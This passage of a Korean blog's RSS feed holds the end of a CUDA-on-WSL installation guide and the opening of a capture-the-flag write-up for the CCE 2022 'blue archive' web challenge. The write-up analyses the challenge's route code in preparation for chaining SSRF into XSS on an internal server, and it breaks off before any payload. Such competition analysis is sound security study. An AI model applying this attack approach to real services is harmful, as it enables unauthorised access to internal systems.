&lt;p data-ke-size=&quot;size16&quot;&gt;이제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CUDA를 설치합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 명령어들을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;차례로 입력하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1669011301615&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 오래된 GPG 키 삭제
sudo apt-key del 7fa2af80

# apt 업데이트 및 CUDA 설치
wget https://developer.download.nvidia.com/compute/cuda/repos/wsl-ubuntu/x86_64/cuda-wsl-ubuntu.pin
sudo mv cuda-wsl-ubuntu.pin /etc/apt/preferences.d/cuda-repository-pin-600
wget https://developer.download.nvidia.com/compute/cuda/11.8.0/local_installers/cuda-repo-wsl-ubuntu-11-8-local_11.8.0-1_amd64.deb
sudo dpkg -i cuda-repo-wsl-ubuntu-11-8-local_11.8.0-1_amd64.deb
sudo cp /var/cuda-repo-wsl-ubuntu-11-8-local/cuda-*-keyring.gpg /usr/share/keyrings/
sudo apt-get update
sudo apt-get -y install cuda&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1092&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceE83v/btrRJQld5wy/ZVAPtNz5tg4bA44KJRHnY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceE83v/btrRJQld5wy/ZVAPtNz5tg4bA44KJRHnY1/img.png&quot; data-alt=&quot;마지막 CUDA 설치에서 오래걸림...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceE83v/btrRJQld5wy/ZVAPtNz5tg4bA44KJRHnY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceE83v%2FbtrRJQld5wy%2FZVAPtNz5tg4bA44KJRHnY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;533&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1092&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;마지막 CUDA 설치에서 오래걸림...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;끝. 인식된 GPU 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치가 완료된 후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 명령어로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인식된 GPU를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;확인 명령어:&lt;br /&gt;$ nvidia-smi -q&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;797&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4SPBT/btrRKKrFI3X/bg02FUkiZBpKfSGv4hke7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4SPBT/btrRKKrFI3X/bg02FUkiZBpKfSGv4hke7K/img.png&quot; data-alt=&quot;인식된 GPU 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4SPBT/btrRKKrFI3X/bg02FUkiZBpKfSGv4hke7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4SPBT%2FbtrRKKrFI3X%2Fbg02FUkiZBpKfSGv4hke7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;389&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;797&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;인식된 GPU 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Tip.../환경세팅</category>
      <category>CUDA</category>
      <category>nVidia</category>
      <category>WSL</category>
      <category>리눅스</category>
      <category>우분투</category>
      <category>윈도우</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/172</guid>
      <comments>https://chmodi.tistory.com/172#entry172comment</comments>
      <pubDate>Mon, 21 Nov 2022 15:36:01 +0900</pubDate>
    </item>
    <item>
      <title>[사이버공격방어대회 CCE 2022 Write Up] Web 3번 : blue archive-web</title>
      <link>https://chmodi.tistory.com/171</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에도 SSRF 문제이지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 서버에서 XSS를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발생시켜야하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;499&quot; data-origin-height=&quot;441&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4y2Au/btrNTgt0WPt/sziB4ploNhqR2YmKAMePp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4y2Au/btrNTgt0WPt/sziB4ploNhqR2YmKAMePp0/img.png&quot; data-alt=&quot;Web 3번 - blue archive 문제&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4y2Au/btrNTgt0WPt/sziB4ploNhqR2YmKAMePp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4y2Au%2FbtrNTgt0WPt%2FsziB4ploNhqR2YmKAMePp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;442&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;499&quot; data-origin-height=&quot;441&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Web 3번 - blue archive 문제&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 대상 확인&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이트에 접속하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 입력창 두 개가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나타납니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/er3vcc/btrNT9upDVb/8fdOHG50d3JbSzHUui4Flk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/er3vcc/btrNT9upDVb/8fdOHG50d3JbSzHUui4Flk/img.png&quot; data-alt=&quot;Save Archive와 View Archive&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/er3vcc/btrNT9upDVb/8fdOHG50d3JbSzHUui4Flk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fer3vcc%2FbtrNT9upDVb%2F8fdOHG50d3JbSzHUui4Flk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;352&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1353&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Save Archive와 View Archive&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이트는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Save Archive에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL을 입력하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무언가가 저장이 되고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1447&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d4Lp3T/btrNSMAjNO9/W1IIBkTNtyCeFBHittvlok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d4Lp3T/btrNSMAjNO9/W1IIBkTNtyCeFBHittvlok/img.png&quot; data-alt=&quot;Save Archive에 URL 입력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d4Lp3T/btrNSMAjNO9/W1IIBkTNtyCeFBHittvlok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd4Lp3T%2FbtrNSMAjNO9%2FW1IIBkTNtyCeFBHittvlok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;377&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1447&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Save Archive에 URL 입력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;View Archive에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 URL을 입력하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;링크가 하나 나타납니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1363&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cY92Ha/btrNTgHDlRK/nYlkTVJygKNr0wZWNzJCnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cY92Ha/btrNTgHDlRK/nYlkTVJygKNr0wZWNzJCnk/img.png&quot; data-alt=&quot;View Archive에 나타난 링크&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cY92Ha/btrNTgHDlRK/nYlkTVJygKNr0wZWNzJCnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcY92Ha%2FbtrNTgHDlRK%2FnYlkTVJygKNr0wZWNzJCnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;355&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1363&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;View Archive에 나타난 링크&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 링크를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클릭하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1592&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wdSAN/btrNSL2s6RZ/oJE7os3husdHmhKmsBM360/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wdSAN/btrNSL2s6RZ/oJE7os3husdHmhKmsBM360/img.png&quot; data-alt=&quot;아무 것도 안나타남&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wdSAN/btrNSL2s6RZ/oJE7os3husdHmhKmsBM360/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwdSAN%2FbtrNSL2s6RZ%2FoJE7os3husdHmhKmsBM360%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;415&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1592&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;아무 것도 안나타남&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무 것도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안나타납니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;;;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Flag 확인&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제공된 파일을 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;public 서버(blue_archive)와&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;internal 서버(sandbox.bluearchive.kr)&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 서버로 나뉘며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Flag는&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;internal 서버의&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Javascript에서&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;FLAG 변수에&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;선언&lt;/b&gt;&lt;/u&gt;되어 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1468&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baeYAk/btrNSOLCxob/th6BbMAZ3VAIn80KLDRofk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baeYAk/btrNSOLCxob/th6BbMAZ3VAIn80KLDRofk/img.png&quot; data-alt=&quot;sandbox &amp;amp;gt; index.js &amp;amp;gt; Script 태그 &amp;amp;gt; FLAG 변수&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baeYAk/btrNSOLCxob/th6BbMAZ3VAIn80KLDRofk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaeYAk%2FbtrNSOLCxob%2Fth6BbMAZ3VAIn80KLDRofk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;382&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1468&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;sandbox &amp;gt; index.js &amp;gt; Script 태그 &amp;gt; FLAG 변수&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 사이트와 함께 제공된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이트의 코드를 분석합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exploit을 위한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주된 코드는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 파일에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있었습니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;주요 파일&lt;/b&gt;&lt;br /&gt;&lt;b&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;public 서버(app 폴더)의&lt;span&gt; routes.js &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;b&gt;파일&lt;/b&gt;&lt;br /&gt;&amp;nbsp; * /archiveSave&amp;nbsp; 라우터&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;b&gt;- public 서버(app 폴더)의 lib.js&lt;/b&gt;&lt;br /&gt;&amp;nbsp; * saveArchive 함수&lt;br /&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;- internal 서버(sandbox 폴더)의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;b&gt;index.js 파일&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- docker-compose.yml 파일&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ public 서버(app 폴더) routes.js 파일&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;u&gt;&lt;b&gt;public 서버(app 폴더)의 routes.js 파일&lt;/b&gt;&lt;/u&gt;&lt;span&gt;에서&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;u&gt;&lt;b&gt;/archiveSave 라우터&lt;/b&gt;&lt;/u&gt;의 &lt;/span&gt;내용입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1664966089716&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// app 폴더 &amp;gt; routes.py &amp;gt; /archiveSave 라우터 내용

router.post('/archiveSave', async (req, res) =&amp;gt; {
    const { url } = req.body;

    if (typeof url !== 'string' || !(url.startsWith('http://') || url.startsWith('https://')))
        return res.status(400).render('index', { error : 'Invalid URL.' });

    try {
        await saveArchive(url);
        return res.status(200).render('index', { success : `Sucessfully saved archive for ${url}` });
    } catch (e) {
        console.log(e)
        return res.status(500).render('index', { error : 'Oops, an unknown error has occured.' });
    }
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라우터의 내용을 보면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동작하고 있습니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;/archiveSave 라우터 동작:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1. POST 방식으로 url 파라미터 전달&lt;/b&gt;&lt;br /&gt;- router.post('/archiveSave', async (req, res) =&amp;gt; {&lt;br /&gt;- const { url } = req.body;&lt;br /&gt;&lt;b&gt;2. 입력값 필터링(http:// or https:// 로 시작)&lt;/b&gt;&lt;br /&gt;- if (typeof url !== 'string' || !(url.startsWith('http://') || url.startsWith('https://')))&lt;br /&gt;- 불일치: Invalid URL 반환&lt;br /&gt;&lt;b&gt;3. saveArchive 함수에 url 전달&lt;/b&gt;&lt;br /&gt;- await saveArchive(url);&lt;br /&gt;- await: 함수 종료까지 대기(동기식으로 전환)&lt;br /&gt;&lt;b&gt;4. Response 반환&lt;/b&gt;&lt;br /&gt;- saveArchive 정상 종료 시: Successfully saved archive for ${url}&lt;br /&gt;- saveArchive 에러 발생 시: Oops, an unkown error has occured.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 파일에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 페이지에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 입력 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;http:// 또는 https:// 로&amp;nbsp;&lt;/b&gt;&lt;/u&gt;&lt;u&gt;&lt;b&gt;시작&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해야한다는 힌트를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;얻을 수 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
